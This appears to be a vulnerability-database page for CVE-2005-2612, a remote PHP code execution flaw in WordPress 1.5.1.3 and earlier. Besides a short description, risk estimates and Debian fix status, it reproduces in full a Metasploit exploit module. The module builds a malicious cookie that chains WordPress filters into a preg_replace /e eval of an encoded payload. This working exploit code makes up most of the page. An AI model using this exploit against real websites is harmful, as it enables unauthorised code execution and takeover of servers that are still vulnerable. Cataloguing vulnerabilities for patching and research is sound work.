CVE-2005-2612

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Direct code injection vulnerability in WordPress 1.5.1.3 and earlier allows remote attackers to execute arbitrary PHP code via the cache_lastpostdate[server] cookie.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

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Exploit-DB

EDB-16895 webapps php verified ruby · 3 KB
Metasploit · 2010-07-03

WordPress Core 1.5.1.3 - 'cache_lastpostdate' Arbitrary Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in the WordPress
				blogging software. This vulnerability is only present when the PHP 'register_globals'
				option is enabled (common for hosting providers). All versions of WordPress prior to
				1.5.1.3 are affected.
			},
			'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					['CVE', '2005-2612'],
					['OSVDB', '18672'],
					['BID', '14533'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
			], self.class)
	end

	def exploit

		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
				'uri'      => datastore['URI'],
				'cookie'   => data
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end

end

Metasploit modules

WordPress cache_lastpostdate Arbitrary Code Execution
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.5.2-1
sid Fixed 1.5.2-1
forky Fixed 1.5.2-1
bullseye Fixed 1.5.2-1
bookworm Fixed 1.5.2-1

References

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